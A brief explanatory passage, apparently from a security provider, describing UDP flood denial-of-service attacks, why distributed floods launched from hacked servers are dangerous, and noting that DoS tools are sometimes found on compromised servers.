UDP Flood attacks are a subtype of Denial of Service attacks (DoS) that works via UDP (User Datagram Protocol) protocol. Such attack can be used to disturb rivals or competitors. They are especially dangerous in their
distributed form when several servers symoultaneously flood one victim server with tons of requests making it unreachable by its normal users. Hacked servers are ideal platforms for such DDoS attack as they provide good level of anonymity
and at the same time have very fast Internet connections. Every now and then we find various specialized DoS tools (including UDP flood scripts) on hacked servers.
